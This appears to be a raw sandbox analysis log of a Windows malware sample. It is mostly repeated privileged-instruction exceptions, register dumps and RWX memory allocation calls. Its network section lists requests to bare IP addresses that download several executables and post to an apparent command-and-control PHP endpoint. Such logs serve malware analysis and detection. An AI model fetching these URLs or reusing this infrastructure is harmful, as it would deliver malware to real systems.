registers.eax: 10852073
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 798928358
registers.esi: 0
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 29 d2 68 83 a6 cf 6f 89 2c 24 c7 04 24 0c 86
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x229739
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2266937
exception.address: 0xa59739
registers.esp: 2883044
registers.edi: 10836162
registers.eax: 10880305
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 798928358
registers.esi: 0
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 46 fe ff ff 83 c7 04 87 3c 24 5c b8 25 3b
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x229f08
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2268936
exception.address: 0xa59f08
registers.esp: 2883044
registers.edi: 30185
registers.eax: 10880305
registers.ebp: 3999068180
registers.edx: 4294941948
registers.ebx: 798928358
registers.esi: 0
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 68 3a 69 6b 2c 89 34 24 89 e6 57 bf f4 92 ff
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x235360
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2315104
exception.address: 0xa65360
registers.esp: 2883044
registers.edi: 3889341803
registers.eax: 10925137
registers.ebp: 3999068180
registers.edx: 2130520308
registers.ebx: 4164719936
registers.esi: 693667754
registers.ecx: 2141454873
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 53 68 ca 42 f6 7b 8b 1c 24 50 89 e0 56 e9 50
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x234a72
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2312818
exception.address: 0xa64a72
registers.esp: 2883044
registers.edi: 116969
registers.eax: 10925137
registers.ebp: 3999068180
registers.edx: 2130520308
registers.ebx: 4294943136
registers.esi: 693667754
registers.ecx: 2141454873
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 57 bf 39 f0 51 7c c1 e7 05 e9 07 03 00 00 87
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x246aa0
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2386592
exception.address: 0xa76aa0
registers.esp: 2883012
registers.edi: 607422801
registers.eax: 26622
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 4294943368
registers.esi: 10997789
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 51 b9 b6 2e 37 7e 81 ec 04 00 00 00 89 3c 24
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x247b44
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2390852
exception.address: 0xa77b44
registers.esp: 2883008
registers.edi: 607422801
registers.eax: 26583
registers.ebp: 3999068180
registers.edx: 1088267370
registers.ebx: 1527152128
registers.esi: 10974301
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 55 89 3c 24 89 e7 81 c7 04 00 00 00 81 ef 04
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x247546
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2389318
exception.address: 0xa77546
registers.esp: 2883012
registers.edi: 1392536160
registers.eax: 26583
registers.ebp: 3999068180
registers.edx: 0
registers.ebx: 1527152128
registers.esi: 10977236
registers.ecx: 2515271680
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 29 c9 ff 34 11 ff 34 24 ff 34 24 ff 34 24 58
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x248c0a
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2395146
exception.address: 0xa78c0a
registers.esp: 2883012
registers.edi: 1392536160
registers.eax: 28356
registers.ebp: 3999068180
registers.edx: 11007737
registers.ebx: 1527152128
registers.esi: 10977236
registers.ecx: 1279143281
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 66 01 00 00 81 cf cd 14 be 2f 50 e9 3d 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x248af7
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2394871
exception.address: 0xa78af7
registers.esp: 2883012
registers.edi: 1392536160
registers.eax: 3013445984
registers.ebp: 3999068180
registers.edx: 11007737
registers.ebx: 1527152128
registers.esi: 10977236
registers.ecx: 4294941656
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 83 ec 04 89 2c 24 56 e9 c2 fc ff ff 29 e9 5d
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x24b450
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2405456
exception.address: 0xa7b450
registers.esp: 2883008
registers.edi: 10988967
registers.eax: 26641
registers.ebp: 3999068180
registers.edx: 27232
registers.ebx: 528401
registers.esi: 21964252
registers.ecx: 11014385
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 68 b3 c6 75 43 89 1c 24 52 55 e9 00 00 00 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x24b894
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2406548
exception.address: 0xa7b894
registers.esp: 2883012
registers.edi: 10992016
registers.eax: 26641
registers.ebp: 3999068180
registers.edx: 27232
registers.ebx: 0
registers.esi: 754097549
registers.ecx: 11014385
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 05 00 05 46 65 e9 3c 01 00 00 01 d0 5a 87 04
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x250fad
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2428845
exception.address: 0xa80fad
registers.esp: 2883008
registers.edi: 4009445764
registers.eax: 11012265
registers.ebp: 3999068180
registers.edx: 0
registers.ebx: 524336
registers.esi: 765089565
registers.ecx: 11010489
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 51 c7 04 24 74 1d 1f 6c 53 bb 24 f6 71 13 31
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x250f3e
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2428734
exception.address: 0xa80f3e
registers.esp: 2883012
registers.edi: 4294940348
registers.eax: 11041882
registers.ebp: 3999068180
registers.edx: 24811
registers.ebx: 524336
registers.esi: 765089565
registers.ecx: 11010489
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 c2 00 00 00 8b 34 24 81 c4 04 00 00 00 81
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x253c31
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2440241
exception.address: 0xa83c31
registers.esp: 2883008
registers.edi: 4294940348
registers.eax: 28816
registers.ebp: 3999068180
registers.edx: 596234575
registers.ebx: 1224282757
registers.esi: 765089565
registers.ecx: 11024398
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 81 ec 04 00 00 00 89 1c 24 bb b2 3a 77 77 e9
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x254082
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2441346
exception.address: 0xa84082
registers.esp: 2883012
registers.edi: 4294940348
registers.eax: 28816
registers.ebp: 3999068180
registers.edx: 596234575
registers.ebx: 1224282757
registers.esi: 765089565
registers.ecx: 11053214
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 68 56 03 7e 28 89 34 24 c7 04 24 7c 65 7b 3f
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x253ef9
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2440953
exception.address: 0xa83ef9
registers.esp: 2883012
registers.edi: 4294940348
registers.eax: 3939837675
registers.ebp: 3999068180
registers.edx: 0
registers.ebx: 1224282757
registers.esi: 765089565
registers.ecx: 11027922
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 38 06 00 00 81 c1 f1 60 f7 79 5a 53 e9 d7
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x255002
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2445314
exception.address: 0xa85002
registers.esp: 2883012
registers.edi: 11028718
registers.eax: 26656
registers.ebp: 3999068180
registers.edx: 1671186263
registers.ebx: 11055944
registers.esi: 11028424
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb b8 d7 b3 fe 3f 05 89 f4 fb 6f c1 e0 03 50 52
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2551e0
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2445792
exception.address: 0xa851e0
registers.esp: 2883012
registers.edi: 4294943980
registers.eax: 26656
registers.ebp: 3999068180
registers.edx: 1671186263
registers.ebx: 11055944
registers.esi: 2298801283
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 57 bf f3 c0 7b 5b 29 f9 5f e9 12 00 00 00 b8
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2611a5
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2494885
exception.address: 0xa911a5
registers.esp: 2883008
registers.edi: 4294943980
registers.eax: 30882
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 2147483650
registers.esi: 11034275
registers.ecx: 11077380
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 31 db e9 4f 03 00 00 52 89 e2 81 c2 04 00 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2609f2
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2492914
exception.address: 0xa909f2
registers.esp: 2883012
registers.edi: 4294943980
registers.eax: 30882
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 2147483650
registers.esi: 11034275
registers.ecx: 11108262
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 17 00 00 00 87 0c 24 5c e9 4d 04 00 00 58
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2607a5
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2492325
exception.address: 0xa907a5
registers.esp: 2883012
registers.edi: 3434365800
registers.eax: 30882
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 4294939344
registers.esi: 11034275
registers.ecx: 11108262
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 83 ec 04 e9 6d 00 00 00 5c 55 54 8b 2c 24 e9
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x26d662
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2545250
exception.address: 0xa9d662
registers.esp: 2883012
registers.edi: 0
registers.eax: 26184
registers.ebp: 3999068180
registers.edx: 10663910
registers.ebx: 11130686
registers.esi: 2298801283
registers.ecx: 3220975750
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 81 e9 66 5f f7 73 68 76 03 1b 23 89 3c 24 e9
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2785df
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2590175
exception.address: 0xaa85df
registers.esp: 2883008
registers.edi: 11162386
registers.eax: 26123
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 1971716070
registers.esi: 2298801283
registers.ecx: 11173999
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 50 89 2c 24 81 ec 04 00 00 00 89 3c 24 e9 be
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2786cd
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2590413
exception.address: 0xaa86cd
registers.esp: 2883012
registers.edi: 11162386
registers.eax: 4294944504
registers.ebp: 3999068180
registers.edx: 1777711698
registers.ebx: 1971716070
registers.esi: 2298801283
registers.ecx: 11200122
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 89 00 00 00 56 e9 ed fd ff ff 68 70 9a ac
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x279442
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2593858
exception.address: 0xaa9442
registers.esp: 2883008
registers.edi: 11162386
registers.eax: 28120
registers.ebp: 3999068180
registers.edx: 1601505386
registers.ebx: 11177710
registers.esi: 2298801283
registers.ecx: 1368775954
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 a4 02 00 00 8f 04 24 5c 57 54 5f 81 c7 04
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x279209
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2593289
exception.address: 0xaa9209
registers.esp: 2883012
registers.edi: 11162386
registers.eax: 28120
registers.ebp: 3999068180
registers.edx: 1601505386
registers.ebx: 11205830
registers.esi: 2298801283
registers.ecx: 1368775954
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 55 c7 04 24 ea 3f 36 69 89 0c 24 b9 9c fa ec
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2798c8
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2595016
exception.address: 0xaa98c8
registers.esp: 2883012
registers.edi: 11162386
registers.eax: 28120
registers.ebp: 3999068180
registers.edx: 1601505386
registers.ebx: 11205830
registers.esi: 322689
registers.ecx: 4294941784
1 0 0
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://176.113.115.7/mine/random.exe
suspicious_features POST method with no referer header, POST method with no useragent header, Connection to IP address suspicious_request POST http://176.113.115.6/Ni9kiput/index.php
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://176.113.115.7/files/7033027882/ZqkKpwG.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://176.113.115.7/files/5163778194/zx4PJh6.exe
suspicious_features GET method with no useragent header, Connection to IP address suspicious_request GET http://176.113.115.7/files/7684569444/advnrNo.exe
request GET http://176.113.115.7/mine/random.exe
request POST http://176.113.115.6/Ni9kiput/index.php
request GET http://176.113.115.7/files/7033027882/ZqkKpwG.exe
request GET http://176.113.115.7/files/5163778194/zx4PJh6.exe
request GET http://176.113.115.7/files/7684569444/advnrNo.exe
request POST http://176.113.115.6/Ni9kiput/index.php
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

process_identifier: 2548
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2644
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73872000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2644
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ec0000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 1376256
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02920000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2808
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 2808
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02672000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02673000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02674000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02676000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b85000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b86000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b87000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b88000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b89000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2808
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
